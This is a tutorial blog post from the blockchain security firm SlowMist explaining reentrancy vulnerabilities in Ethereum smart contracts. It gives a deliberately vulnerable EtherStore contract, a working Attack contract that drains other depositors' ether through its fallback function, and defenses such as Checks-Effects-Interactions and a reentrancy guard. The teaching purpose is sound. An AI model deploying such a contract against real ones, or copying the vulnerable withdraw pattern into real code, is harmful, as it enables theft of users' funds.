Intro to Smart Contract Security Audits | Reentrancy Attack

SlowMist
5 min readDec 29, 2021

--

Given the increase in smart contract exploits, we decided to produce a series of articles to educate new smart contract developers about these vulnerabilities and how they work. This week, we’ll look at a well-known example: A Reentrancy Attack.

Let’s first define reentrancy vulnerability:

It can be considered that all external calls in the contract are insecure, and there may be reentrancy vulnerabilities. For example: if the target of an external call is a malicious contract the attacker controls, then when the attacked contract calls the malicious contract, the attacker can execute the malicious logic. Then it will re-enter the inside of the attacked contract to initiate an unexpected external call; it will affect the attack contract’s standard execution logic.

One of the characteristics of Ethereum smart contracts is that the contracts can make external calls to each other. At the same time, the transfer of Ethereum is not limited to external accounts. Contract addresses can also have ether to perform transfers and other operations. When the contract receives ether, it will trigger the fallback function to execute the corresponding logic, which is a hidden external call.

Example

Now that we have a general understanding of what reentrancy vulnerabilities are, let’s see what a typical code with a reentrancy vulnerability looks like:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract EtherStore {
mapping(address => uint) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);

(bool sent, ) = msg.sender.call{value: bal}(“”);
require(sent, “Failed to send Ether”);

balances[msg.sender] = 0;
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}}

At first glance, it may look confusing, but it’s just a typical deposit and withdrawal contract. Let’s look at the withdraw function of this contract. The transfer operation in this function has an external call (msg.sender.call{value: bal} ), so it seems that this contract may have a reentrance vulnerability, but let’s take a deeper dive:

1. All external calls are unsafe, and the contract will trigger the fallback function to execute the corresponding logic when receiving Eth. This is a hidden external call. Can this hidden external call be exploited?

2. In the withdraw function, the account balance is cleared after the external call is executed for the transfer. Then we can construct a malicious logic contract when the transfer is called, and run balance[msg.sender in the contract ]=0. Let’s call the withdraw function in a loop to withdraw coins to clear the contract account.

Let’s see if the methods in the attack contract written by the attacker are the same as our vulnerability analysis:

contract Attack {
EtherStore public etherStore;

constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}

// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}

function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}}

We see that the EtherStore contract is a regular deposit and withdrawal contract. Next, we will use the attack contract to clear the user’s balance in the EtherStore contract:

Let’s assign three roles to this example:

Victim: Alice, Bob

Attacker: Eve

1. Deploy the EtherStore contract;

2. User 1 ( Alice ) and user 2 ( Bob ) both deposit 1 Eth to the EtherStore contract.

3. The attacker Eve passed in the address of the EtherStore contract when deploying the Attack contract.

4. The attacker Eve deploys the Attack.attack() and calls the EtherStore.deposit function to send one Eth to the EtherStore contract. There are 3 Eths in the EtherStore contract. 2 From Alice and 1 Eth sent by Eve. Then the Attack.attack calls the EtherStore.withdraw function to take out the Eth that has just been topped up. There are only 2 Eths in the EtherStore contract from Bob and Alice.

5. When Attack.attack calls EtherStore.withdraw to withdraw 1 Ether from the previous Eve deposit, the Attack.fallback function will be triggered. As long as the Eth in the EtherStore contract is greater than or equal to 1, the EtherStore.withdraw function will be called to withdraw Eth from the EtherStore contract to the Attack contract. It will continue to do so until the balance in the EtherStore contract is less than 1. In doing so, the attacker Eve will get the remaining 2 Eths in the EtherStore contract.

The following is the function call flow chart of the attacker:

Protecting against Reentrancy

After studying the example above, we hope you can better understand reentry vulnerabilities. However, we should also know how to defend against these vulnerabilities. So how do you avoid writing vulnerable code as a developer and spot them as an auditor?

Let’s use these two identities to analyze how to defend against reentry vulnerabilities and how to find reentry vulnerabilities in the code quickly:

As a developer

From a developer’s perspective, we need to write better code to avoid reentry vulnerabilities.

1. When writing code, you need to follow the coding standard (Checks-Effects-Interactions) of the first judgment and then write variables in external calls;

2. Add a reentrancy guard; this prevents more than one function from being executed at a time by locking the contract.

The following is a code example of a reentry guard:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;

contract ReEntrancyGuard {
bool internal locked;

modifier noReentrant() {
require(!locked, “No re-entrancy”);
locked = true;
_;
locked = false;
}}

As an auditor

As auditors, we need to pay attention to the characteristics of reentrance vulnerabilities: all code locations involved in external contract calls are insecure. In this way, in the audit process, we need to focus on external calls and then deduce the possible harm of external calls to judge whether they can be exploited due to the reentry point.

--

--

SlowMist

SlowMist is a Blockchain security firm established in 2018, providing services such as security audits, security consultants, red teaming, and more.